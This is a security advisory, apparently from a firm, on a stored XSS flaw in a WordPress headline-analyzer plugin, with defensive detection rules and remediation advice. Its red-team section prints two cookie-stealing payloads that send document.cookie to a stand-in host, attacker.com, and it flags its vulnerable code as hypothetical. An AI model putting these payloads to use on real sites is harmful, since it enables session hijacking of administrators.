CVE-2025-62974

Executive Summary

CVE-2025-62974 is a Stored Cross-Site Scripting (XSS) vulnerability in the CoSchedule Headline Analyzer plugin for WordPress, affecting versions up to and including 1.3.7. This vulnerability allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary web scripts into the WordPress database. When an administrator or other user views the affected page, the malicious script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability stems from improper neutralization of user-supplied input during web page generation. As of this report, no official patch has been released, and no public proof-of-concept code is available. The CVSS score is 6.5 (Medium), with a low attack complexity but requiring user interaction.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. Users are advised to monitor the plugin page for updates and consider disabling the plugin until a patch is available. No known supply chain compromise has been identified.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires contributor-level access or higher
• User Interaction: Required (UI:R) – victim must visit the affected page
• Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: Medium. The vulnerability requires authentication and user interaction, but stored XSS can lead to significant downstream attacks, including privilege escalation and lateral movement within the WordPress admin panel.

Deep Dive & Mechanics

The CoSchedule Headline Analyzer plugin provides a meta box in the WordPress post editor that analyzes headline quality. The vulnerability exists in the plugin's handling of user-supplied data, likely within the headline analysis results or settings fields. When a user submits a headline for analysis, the plugin stores the input without proper sanitization or output encoding. This stored data is later rendered on the post edit screen or a dedicated results page without escaping, allowing JavaScript execution.

Root Cause: The plugin uses functions like echo or print to output user data without applying WordPress's built-in escaping functions such as esc_html(), esc_attr(), or wp_kses_post(). This allows an attacker to inject HTML and JavaScript payloads.

Attack Flow:

1. An attacker with contributor-level access creates or edits a post.
2. The attacker enters a malicious payload (e.g., <script>alert('XSS')</script>) into a headline analysis field.
3. The plugin stores the payload in the WordPress database.
4. An administrator or other user views the post edit screen or analysis results page.
5. The payload executes in the victim's browser, potentially stealing cookies, performing actions on behalf of the victim, or redirecting to a malicious site.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common XSS remediation.

Vulnerable Code (hypothetical):

// In headline-analyzer.php
function display_analysis($headline) {
    echo "<div class='analysis-result'>" . $headline . "</div>";
}

Patched Code (hypothetical):

function display_analysis($headline) {
    echo "<div class='analysis-result'>" . esc_html($headline) . "</div>";
}

The patched version uses esc_html() to encode special characters, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with Headline Analyzer plugin <= 1.3.7
• Contributor-level account or higher

Exploitation Steps:

1. Log in as a contributor.
2. Create a new post or edit an existing one.
3. In the Headline Analyzer meta box, enter the following payload in the headline field:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the post as a draft or publish it.
5. Wait for an administrator to view the post edit screen or the analysis results page.
6. The administrator's cookies are exfiltrated to the attacker's server.

Alternative Payload (for session hijacking):

<img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">

Blue Team

Detection:

• Monitor WordPress admin access logs for unusual post edits by low-privilege users.
• Look for posts containing <script> tags or event handlers in headline fields.
• Use a Web Application Firewall (WAF) to block common XSS payloads.

Hunting:

• Query the WordPress database for posts with suspicious content in the post_content or custom fields:

  SELECT * FROM wp_posts WHERE post_content LIKE '%<script>%';
  

• Check for unexpected outbound connections from the WordPress server to unknown IPs.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests to attacker-controlled domains containing cookie data.
  • Unusual Referer headers pointing to WordPress admin pages.
• Host:
  • Presence of <script> tags or event handlers in WordPress post content or custom fields.
  • Modified or new user accounts with elevated privileges.
• File:
  • Suspicious entries in WordPress debug logs (e.g., wp-content/debug.log).
  • Unexpected files in wp-content/uploads/ directory.

Detection Engineering

YARA Rule

rule CVE_2025_62974_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in WordPress Headline Analyzer plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-62974"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $event_handler = /on\w+\s*=\s*["'][^"']*["']/i
    condition:
        any of them
}

Sigma Rule

title: Stored XSS via CoSchedule Headline Analyzer
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS payloads in WordPress post content or custom fields
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "/wp-admin/post.php"
        http.body|contains: 
            - "<script>"
            - "onerror="
            - "onload="
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts by authorized users
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-62974 Stored XSS Payload in WordPress Headline Analyzer"; flow:to_server,established; content:"/wp-admin/post.php"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Restrict contributor-level access to trusted users only.
3. Implement a Web Application Firewall (WAF) with rules to block common XSS payloads.

Long-term Fix:

• Apply input sanitization and output escaping using WordPress functions (esc_html(), esc_attr(), wp_kses_post()).
• Use Content Security Policy (CSP) headers to mitigate XSS impact.
• Regularly update all plugins and themes.

Workaround:

• If disabling the plugin is not possible, modify the plugin code to escape output (see patched code example above).

Valters IT
Securing Digital Frontiers